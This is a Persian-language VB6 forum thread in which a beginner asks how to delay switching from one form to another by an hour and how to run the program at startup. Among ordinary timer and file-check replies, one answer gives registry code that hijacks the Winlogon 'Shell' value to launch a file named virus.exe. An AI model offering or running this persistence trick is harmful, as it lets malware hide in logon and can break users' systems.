چگونه يه تايمر را روي فرم قرار دهيم و مدت اجرا آن را به يك ساعت تغيير دهيم!

[rap0661]

سلام دوستان كسي هست بگه چطوري ميشه يك تايمر روي فرم كه گذاشتيم را زمان اجراش را به يه ساعت يا بيشتر ارتقا بدهيم ممنون ميشم اگه كسي از دوستان بلده بگه


مثلا:
ما ميخواهم فرم 2 نمايش داده شود ولي ميخواهيم بعد از يك ساعت نمايش يابد و در طول اين يك ساعت فرم 1 نمايش داده شود يعني فرم 1 بعد از يك ساعت برود به فرم 2


دوستان اين مثال براي تايمر را ميگم چطور تغيير بدهيم به يك ساعت

ممنون

[Ghoghnus]

سلام دوستان كسي هست بگه چطوري ميشه يك تايمر روي فرم كه گذاشتيم را زمان اجراش را به يه ساعت يا بيشتر ارتقا بدهيم ممنون ميشم اگه كسي از دوستان بلده بگه


مثلا:
ما ميخواهم فرم 2 نمايش داده شود ولي ميخواهيم بعد از يك ساعت نمايش يابد و در طول اين يك ساعت فرم 1 نمايش داده شود يعني فرم 1 بعد از يك ساعت برود به فرم 2


دوستان اين مثال براي تايمر را ميگم چطور تغيير بدهيم به يك ساعت

ممنون

یه متغییر از نوع عددی در جنرال تعریف کن و در تایمر هر بار یکی به ان اضافه کن
اینتر ول تایرمر را برابر1000قرار بده

کد:

Dim t As Integer
Private Sub Form_Load()
t = 0
End Sub

Private Sub Timer1_Timer()
t = t + 1
End Sub

[Payman62]

سلام.
چه کاریه اینترول رو برابر 1000 قرار بده؟ با این کار بی دلیل کارکرد CPU بالا میره.

کامپوننت آماده برای این کار هست.

اگر هم بخواید از روشی که جناب Ghoghnus اشاره کردن استفاده کنید بهتره از اینترول 60000 استفاده کنید تا CPU بی دلیل مشغول نشه.

[rap0661]

کامپوننت آماده اگه هست ممنون ميشم بزاريد


راستي يه سوال ديگه

چطوري ميشه مثلا وقتي دفعه اول رو برنامه كليك كرديم هيچ عكس العملي انجام نده فقط تو استارت آپ بشينه و دفعه بعد بعد از را اندازي سيستم شروع بكار كنه آيا ميشه

[Ghoghnus]

کامپوننت آماده اگه هست ممنون ميشم بزاريد


راستي يه سوال ديگه

چطوري ميشه مثلا وقتي دفعه اول رو برنامه كليك كرديم هيچ عكس العملي انجام نده فقط تو استارت آپ بشينه و دفعه بعد بعد از را اندازي سيستم شروع بكار كنه آيا ميشه

واسه استارت اپ کردن از این کد استفاده کن

کد:

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" & "Shell", "explorer.exe " & Environ("windir") & "\system32\virus.exe"

[Di Di]

راستي يه سوال ديگه

چطوري ميشه مثلا وقتي دفعه اول رو برنامه كليك كرديم هيچ عكس العملي انجام نده فقط تو استارت آپ بشينه و دفعه بعد بعد از را اندازي سيستم شروع بكار كنه آيا ميشه

ای بابا!! سوالای خوبی می پرسی فقط اگه یکمی هم خودت برای حلشون فکر می کردی خیلی بهتر می شد!!

می تونی تو لودینگ برنامه ات یک کد بزاری چک کنه ببین تو فلان آدرس، فلان فایل وجود داره یا نه،

اگر وجود نداشت یکی بساز و برنامه رو ببند و اگر وجود داشت یعنی برنامه قبلا اجرا شده و اون رو ساخته پس

دیگه اون رو نساز و بقیه کارهات رو انجام بده.

این کارها کد نویسی نیست خلاقیته!

[Ghoghnus]

خود وی بی یک مثال برای این کار داره شما از منویproject گزینه Add Formرا انتخاب کنید بعد Tip of the Day را انتخاب کنید!

[rap0661]

دستتون درد نکنه را افتادم مشکلم حل شد و فقط یه مشکل دیگه من میخواهم این عمل را فقط یکبار انجام بده یعنی بعد ا 2 ساعت که شد فرم دوم نمایش داده شود ولی وقتی که برنامه در ریجستر و استارت آپ قرار گرفت دیگگه بعد از را اندازی دوبار سیستم یا همون ریستارت دیگه این عمل انجام نشود و همون فرم دوم نمایش داده شود آیا امکان داره دوستان

[Ghoghnus]

دستتون درد نکنه را افتادم مشکلم حل شد و فقط یه مشکل دیگه من میخواهم این عمل را فقط یکبار انجام بده یعنی بعد ا 2 ساعت که شد فرم دوم نمایش داده شود ولی وقتی که برنامه در ریجستر و استارت آپ قرار گرفت دیگگه بعد از را اندازی دوبار سیستم یا همون ریستارت دیگه این عمل انجام نشود و همون فرم دوم نمایش داده شود آیا امکان داره دوستان

دوست عزیز اگه فقط یکبار به مثال خود ویبی نگاه کنی همه مشکلت حل میشه!

[rap0661]

مشكل حل شده ممنون از مال خودvb6 هم چيزي حاليمون نشد ولي به كمك يكي از دوستان مشكل حل شد دمتون گرم

[Ghoghnus]

دستتون درد نکنه را افتادم مشکلم حل شد و فقط یه مشکل دیگه من میخواهم این عمل را فقط یکبار انجام بده یعنی بعد ا 2 ساعت که شد فرم دوم نمایش داده شود ولی وقتی که برنامه در ریجستر و استارت آپ قرار گرفت دیگگه بعد از را اندازی دوبار سیستم یا همون ریستارت دیگه این عمل انجام نشود و همون فرم دوم نمایش داده شود آیا امکان داره دوستان

کد:

If Day(Now) = 21 Then
MsgBox ("ejra")
Else
MsgBox ("ejra nashe")
End If